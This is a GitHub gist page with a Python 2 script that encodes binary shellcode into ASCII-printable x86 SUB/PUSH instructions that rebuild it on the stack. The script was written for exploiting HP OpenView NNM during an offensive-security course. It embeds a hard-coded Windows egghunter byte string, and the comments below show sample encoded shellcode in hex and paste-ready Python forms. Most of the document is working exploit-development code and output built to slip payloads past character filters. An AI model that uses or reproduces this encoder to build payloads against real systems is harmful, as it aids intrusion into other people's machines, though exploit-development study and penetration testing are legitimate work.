Skip to content

Instantly share code, notes, and snippets.

@mgeeky
Last active February 10, 2024 20:50
Show Gist options
  • Star 25 You must be signed in to star a gist
  • Fork 20 You must be signed in to fork a gist
  • Save mgeeky/8a118c69312b35a9db7f19f61c7a6b3c to your computer and use it in GitHub Desktop.
Save mgeeky/8a118c69312b35a9db7f19f61c7a6b3c to your computer and use it in GitHub Desktop.
ASCII Shellcode encoder for Exploit Development purposes, utilizing Jon Erickson's substract arguments finding algorithm.
#!/usr/bin/python
#
# Shellcode to ASCII encoder leveraging rebuilding on-the-stack technique,
# and using Jon Erickson's algorithm from Phiral Research Labs `Dissembler`
# utility (as described in: Hacking - The Art of Exploitation).
#
# Basically one gives to the program's output a binary encoded shellcode,
# and it yields on the output it's ASCII encoded form.
#
# This payload will at the beginning align the stack by firstly moving
# ESP value to the EAX, then by adding to the EAX value 0x16CA then by
# setting ESP with such resulted EAX. It means that the final decoded shellcode
# will get stored in the stack, by 0x16CA bytes away from current stack address.
#
# Obviously, this encoder will not be working under DEP/W^X environments.
#
# Written for HP OpenView NNM exploitation purpose, during
# Offensive-Security CTP / OSCE course.
#
# Source:
# https://gist.github.com/mgeeky/8a118c69312b35a9db7f19f61c7a6b3c
#
# Mariusz B. / mgeeky, '17
#
import random
import struct
import ctypes
import sys
# ================================================
# OPTIONS
# ================================================
# Characters that are safe to use in encoded payload.
VALID_CHARS = "01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-*\\%"
# Be more verbose.
DEBUG = False
# Set it to True in order to always prepend ZERO-EAX primitive before
# sequence of SUB operations. The `gen` routine will then operate on
# previous value being always 0x00000000 instead of previously held in
# EAX value. The side effect of this setting is increased payload length.
PREPEND_ZERO_OUT = False
# ================================================
MAX_NUM = 128
primitives = {
# Zeros-out the EAX register
# 25 4a4f4e45 AND EAX,454e4f4a
# 25 3530313a AND EAX,3a313035
#'zero-eax' : '%JONE%501:',
# Zeros-out the EAX register
# 25 4A4D4E55 AND EAX,554E4D4A
# 25 3532312A AND EAX,2A313235
'zero-eax': '%JMNU%521*',
# Aligns a stack address that the EAX will take, by
# adding value of 0x1688 to the EAX register
# 2D 41373737 SUB EAX, 37373741
# 2D 69252525 SUB EAX, 25252569
# 2D 72324949 SUB EAX, 49493272
# 2D 5C5A5A5A SUB EAX, 5A5A5A5C
'eax-stack-align' : '-A777-i%%%-r2II-\\ZZZ',
# Sets ESP (stack pointer) to EAX
# 50 PUSH EAX
# 5c POP ESP
'set-esp-to-eax' : 'P\\',
# Sets EAX to ESP
# 54 PUSH ESP
# 58 POP EAX
'set-eax-to-esp' : 'TX',
# ASCII friendly NOP equivalent
# 47 INC EDI
'nop' : 'G',
# Stores resulted EAX value on the stack
# 50 PUSH EAX
'store-on-stack' : 'P',
}
class InvalidCharResulted(Exception):
pass
def dbg(x, raw = False):
if DEBUG:
if raw:
print x
else:
print '[dbg] ' + x
def compose(num):
ret = 0
ret |= num[3] << 24
ret |= num[2] << 16
ret |= num[1] << 8
ret |= num[0]
return ret
def decompose(num):
decompose = [0, 0, 0, 0]
decompose[0] = (num & 0x000000ff)
decompose[1] = (num & 0x0000ff00) >> 8
decompose[2] = (num & 0x00ff0000) >> 16
decompose[3] = (num & 0xff000000) >> 24
return decompose
def strfry(item):
return ''.join([str(w) for w in random.sample(item, len(item))])
def strfrylist(item):
x = list(item)
random.shuffle(x)
return x
# Original algorithm designed by Jon Erickson, <matrix@phiral.com>
# Heavily modified by the author of this program.
def gen(dword, prev, alphabet):
chrs_len = len(alphabet)
t = decompose(dword)
l = decompose(prev)
p = [0 for i in range(MAX_NUM)]
q = [0 for i in range(MAX_NUM)]
r = [0 for i in range(MAX_NUM)]
s = [0 for i in range(MAX_NUM)]
# Initializing index tables
for a in range(chrs_len):
p[a] = q[a] = r[a] = s[a] = a + 1
# Shuffling index tables
p = strfrylist(p)
q = strfrylist(q)
r = strfrylist(r)
s = strfrylist(s)
#pr = strfrylist(list(alphabet[:20]))
pr = [chr(0) for c in range(20)]
# Coefficients = subsequent bytes forming a DWORDs that will be
# used as arguments in SUB operations. coeffs[0] stands for the
# first SUB's argument, coeffs[1] for the second SUB's argument and so on.
coeffs = [
[0, 0, 0, 0],
[0, 0, 0, 0],
[0, 0, 0, 0],
[0, 0, 0, 0]
]
# 0x2D - SUB opcode. Here we construct a template:
# [ ..., 0x2d, AA, BB, CC, DD, ...] where AA,BB,CC,DD will be argument
# bytes to fill in.
pr[0] = pr[5] = pr[10] = pr[15] = chr(0x2D)
# Construct from 1 to 5 at max consecutive SUB operations
for a in range(1, 5):
carry = 0
flag = [0, 0, 0, 0]
# Iterate over bytes 0...3 composing full 32-bit DWORD
for z in range(4):
loop_next = 0
# Iterate over possible indexes of the first byte within argument
for i in range(chrs_len):
# Iterate over possible indexes of the second byte within argument
for j in range(chrs_len):
for k in range(chrs_len):
for m in range(chrs_len):
# We get random byte from valid chars charset at currently
# processed positions.
x1 = alphabet[p[i] - 1]
x2 = alphabet[q[j] - 1]
x3 = alphabet[r[k] - 1]
x4 = alphabet[s[m] - 1]
# t[z] - Desired[z], the target byte we are looking for
# l[z] - Previous[z], the previous byte on this position.
# Desired[z] = Previous[z] - Carry - A[z] - B[z] - C[z] - D[z]
# Previous[z] = Desired[z] + Carry + A[z] + B[z] + C[z] + D[z]
tr = ctypes.c_uint32( t[z] + carry \
+ ord(x1) + ord(x2) \
+ ord(x3) + ord(x4)).value
# If sum result equals to our previous byte at this position -
# we have a hit.
if (tr & 0xff) == l[z]:
# Resulted value, in `tr` might be easily something like: 0x175
# then the carry will be 0x01
carry = (tr & 0xff00) >> 8
# We hit bytes forming a good looking DWORD (32 bit value), therefore
# we store that value for later considerations
if i < chrs_len:
pr[ 1 + z] = x1
coeffs[0][z] = ord(x1)
if j < chrs_len:
pr[ 6 + z] = x2
coeffs[1][z] = ord(x2)
if k < chrs_len:
pr[11 + z] = x3
coeffs[2][z] = ord(x3)
if m < chrs_len:
pr[16 + z] = x4
coeffs[3][z] = ord(x4)
dbg('try = %x, l[%d] = %x, t[%d] = %x, coeffs = %s' % \
(tr, z, l[z], z, t[z], str(coeffs)))
loop_next = 1
# We mark that we have already found a good values for that `z` position.
flag[z] = 1
if a < 4 or loop_next: break
if a < 3 or loop_next: break
if a < 2 or loop_next: break
# Have we found already all 4 byte candidates?
if sum(flag) == 4:
dbg('flag=%s, a=%d, z=%d, i=%d, j=%d, k=%d, m=%d' % (flag,a,z,i,j,k,m))
break
assert sum(flag) == 4, "Could not generate computation instructions for this dword: 0x%08x" % dword
dbg('Coeffs before fixups = %s' % (str(coeffs)))
# Now we need to check whether the above algorithm did not fell into local optimum
# and didn't yielded some slightly varying values. We will retry 5 times values fixups.
ctr = 0
while ctr < 5:
ctr += 1
dbg('Fixup attempt %d: gen(0x%08x, 0x%08x, ...): "%s"' % \
(ctr, dword, prev, ''.join(['%02x' % ord(c) for c in pr])))
# Now we print assembler interpretation of collected coefficients
val = prev
dbg('\n\t\t\t\t; EAX = 0x%08x' % val, True)
for n in coeffs:
num = compose(n)
val = ctypes.c_uint32(val - num).value
dbg('\tSUB EAX, 0x%08x\t; EAX = 0x%08x' % (num, val), True)
# oops, the resutled from substraction value is not matching desired one.
# we will have to fixup bytes that differ and retry verification process.
if val != dword:
dbg('in attempt #%d values do not match: 0x%08x != 0x%08x' % (ctr,val,dword))
valdec = decompose(ctypes.c_uint32(val).value )
dworddec = decompose(ctypes.c_uint32(dword).value)
# We check each of the four bytes whether they differ from desired.
for i in range(4):
if valdec[i] != dworddec[i]:
dbg('byte %d needs fixing %02x => %02x' % (i, valdec[i], dworddec[i]))
# Since they differ, we fixup them
diff = valdec[i] - dworddec[i]
pr[16 + i] = chr(ord(pr[16 + i]) + diff)
coeffs[3][i] += diff
# Resulted byte after applied fixup outlies our VALID_CHARS charset,
# we could have re-invoke the gen() routine here, but it will be easier
# to just quit and try again from the scratch.
if pr[16 + i] not in VALID_CHARS:
raise InvalidCharResulted(pr[16+i])
else:
dbg('Values match perfectly: 0x%08x == 0x%08x' % (val, dword))
break
if val != dword:
print '\n[!] COMPUTATION FAILURE: 0x%08x != 0x%08x' % (val, dword)
sys.exit(-1)
ret = ''.join(pr)
return ret
def process(inp, prepend_init = True):
size = len(inp)
pad = 4 - (size % 4)
if pad == 4: pad = 0
alphabet = strfry(VALID_CHARS)
# Build up initial payload's stub
out = ''
if prepend_init:
out += primitives['zero-eax']
out += primitives['set-eax-to-esp']
out += primitives['eax-stack-align']
out += primitives['set-esp-to-eax']
if not PREPEND_ZERO_OUT:
out += primitives['zero-eax']
buf = inp + '\x90' * pad
assert len(buf) % 4 == 0, "Working buffer must be divisble by 4!"
prev = 0
# Iterate over every next four bytes grouped values (DWORDs)
for i in range(len(buf), 0, -4):
dword = struct.unpack('<I', buf[i-4:i])[0]
alphabet = strfry(alphabet)
instr = gen(dword, prev, alphabet)
if PREPEND_ZERO_OUT:
prev = 0
out += primitives['zero-eax']
else:
prev = dword
out += instr + primitives['store-on-stack']
return out
def usage():
print '''
:: printable-shellcode.py - Utility generating a ASCII-printable shellcode
out of provided binary file (ASCII encoder).
Mariusz B. / mgeeky, '17
Algorithm based on terrific `dissembler` tool by Phiral Research Labs,
by Jon Erickson <matrix@phiral.com>
Usage:
printable-shellcode.py <input-file|0xValue> <output-file>
Where:
input-file - input file containing shellcode, '-' for stdin or 'EGG' for
standard T00WT00W 32-bit windows egghunter
0xValue - single DWORD value, prepended with 0x to encode.
output-file - file to store result of ASCII encoding, or '-' for stdout
'''
def display_output(out):
print '[+] SHELLCODE ENCODED PROPERLY. Resulted length: %d bytes' % (len(out))
print
print '-' * 80
print out
print '-' * 80
print
print '[+] HEX FORM:'
print ''.join(['%02x' % ord(c) for c in out])
print
print '[+] ESCAPED-HEX FORM:'
print ''.join(['\\x%02x' % ord(c) for c in out])
print
print '[+] PYTHON COMPACT SEXY FORM:'
buf = '\tshellcode += r"'
for i in range(len(out)):
if i % 20 == 0 and i > 0:
buf += '"\n\tshellcode += r"'
buf += out[i]
buf += '"'
print buf
def primitives_precheck():
failed = False
for k, v in primitives.items():
for c in v:
if c not in VALID_CHARS:
print '[!] ERROR: Primitive "%s" contains illegal character in it: (0x%02x, "%c")' % (k, ord(c), c)
print '[!] It means you will have to find a suitable primitive yourself and modify the `primitives` dictionary within this script.'
print
failed = True
return not failed
def main():
if len(sys.argv) != 3:
if len(sys.argv) == 2 and sys.argv[1].startswith('0x'):
pass
else:
usage()
return False
if not primitives_precheck():
return False
input_bytes = []
prepend_init = True
if sys.argv[1] == '-':
input_bytes = sys.stdin.read()
elif sys.argv[1].startswith('0x'):
input_bytes = ''.join([chr(c) for c in decompose(int(sys.argv[1], 16))])
prepend_init = False
elif sys.argv[1] == 'EGG':
input_bytes = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
else:
with open(sys.argv[1], 'rb') as f:
input_bytes = f.read()
print '[*] Input buffer size: %d bytes.' % (len(input_bytes))
i = 0
success = False
while i < 3:
try:
out = process(input_bytes, prepend_init)
if out:
success = True
display_output(out)
if len(sys.argv) > 2 and sys.argv[2] != '-':
with open(sys.argv[2], 'wb') as f:
f.write(out)
else:
print '[?] Returned empty payload. Confused...'
break
except InvalidCharResulted as pr:
print '[!] Inter-bytes difference resulted too big rendering invalid char (%x, "%c"). Restarting...' % (ord(str(pr)), str(pr))
continue
if not success:
print '[!] PROGRAM FAILURE.'
if __name__ == '__main__':
main()
@mgeeky
Copy link
Author

mgeeky commented Mar 29, 2017

Example output:

[*] Input buffer size: 32 bytes.
[+] SHELLCODE ENCODED PROPERLY. Resulted length: 207 bytes

--------------------------------------------------------------------------------
%JMNU%521*TX-fMUU-fKUU-jPUUP\%JMNU%521*-bb3b-b060-t2C2-SSSSP-5qv7-0g7g-*b0b-7777P-PB0v-mmmm-v6vp-L8KaP-vvrv-4v0v-1K-w-ffffP-nn5n-uu*p-gf1t-iiiiP-VVVn-MmMM-StrS-Duv6P-%9Hx-0Bfk-84fz-ffffP-UUUU-gyUU-uzqq-xwkNP
--------------------------------------------------------------------------------

[+] HEX FORM:
254a4d4e55253532312a54582d664d55552d664b55552d6a505555505c254a4d4e55253532312a2d626233622d623036302d743243322d53535353502d357176372d306737672d2a6230622d37373737502d504230762d6d6d6d6d2d763676702d4c384b61502d767672762d347630762d314b2d772d66666666502d6e6e356e2d75752a702d676631742d69696969502d5656566e2d4d6d4d4d2d537472532d44757636502d253948782d3042666b2d3834667a2d66666666502d555555552d677955552d757a71712d78776b4e50

[+] ESCAPED-HEX FORM:
\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x54\x58\x2d\x66\x4d\x55\x55\x2d\x66\x4b\x55\x55\x2d\x6a\x50\x55\x55\x50\x5c\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x62\x62\x33\x62\x2d\x62\x30\x36\x30\x2d\x74\x32\x43\x32\x2d\x53\x53\x53\x53\x50\x2d\x35\x71\x76\x37\x2d\x30\x67\x37\x67\x2d\x2a\x62\x30\x62\x2d\x37\x37\x37\x37\x50\x2d\x50\x42\x30\x76\x2d\x6d\x6d\x6d\x6d\x2d\x76\x36\x76\x70\x2d\x4c\x38\x4b\x61\x50\x2d\x76\x76\x72\x76\x2d\x34\x76\x30\x76\x2d\x31\x4b\x2d\x77\x2d\x66\x66\x66\x66\x50\x2d\x6e\x6e\x35\x6e\x2d\x75\x75\x2a\x70\x2d\x67\x66\x31\x74\x2d\x69\x69\x69\x69\x50\x2d\x56\x56\x56\x6e\x2d\x4d\x6d\x4d\x4d\x2d\x53\x74\x72\x53\x2d\x44\x75\x76\x36\x50\x2d\x25\x39\x48\x78\x2d\x30\x42\x66\x6b\x2d\x38\x34\x66\x7a\x2d\x66\x66\x66\x66\x50\x2d\x55\x55\x55\x55\x2d\x67\x79\x55\x55\x2d\x75\x7a\x71\x71\x2d\x78\x77\x6b\x4e\x50

[+] PYTHON COMPACT SEXY FORM:
	shellcode += r"%JMNU%521*TX-fMUU-fK"
	shellcode += r"UU-jPUUP\%JMNU%521*-"
	shellcode += r"bb3b-b060-t2C2-SSSSP"
	shellcode += r"-5qv7-0g7g-*b0b-7777"
	shellcode += r"P-PB0v-mmmm-v6vp-L8K"
	shellcode += r"aP-vvrv-4v0v-1K-w-ff"
	shellcode += r"ffP-nn5n-uu*p-gf1t-i"
	shellcode += r"iiiP-VVVn-MmMM-StrS-"
	shellcode += r"Duv6P-%9Hx-0Bfk-84fz"
	shellcode += r"-ffffP-UUUU-gyUU-uzq"
	shellcode += r"q-xwkNP"

@mgeeky
Copy link
Author

mgeeky commented Mar 29, 2017

Now it is possible to generate list of SUB instructions to compute only one DWORD:

kali $ ./ascii-shellcode-encoder.py 0x1688
[*] Input buffer size: 4 bytes.
[+] SHELLCODE ENCODED PROPERLY. Resulted length: 21 bytes

--------------------------------------------------------------------------------
-A777-i%%%-r2II-\ZZZP
--------------------------------------------------------------------------------

[+] HEX FORM:
2d413737372d692525252d723249492d5c5a5a5a50

[+] ESCAPED-HEX FORM:
\x2d\x41\x37\x37\x37\x2d\x69\x25\x25\x25\x2d\x72\x32\x49\x49\x2d\x5c\x5a\x5a\x5a\x50

[+] PYTHON COMPACT SEXY FORM:
	shellcode += r"-A777-i%%%-r2II-\ZZZ"
	shellcode += r"P"

@puniaze
Copy link

puniaze commented Feb 13, 2018

@kkirsche
Copy link

kkirsche commented Oct 2, 2018

I'd recommend putting the gist URL in the top comment of this, just so that if people grab it, they can know where it came from

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment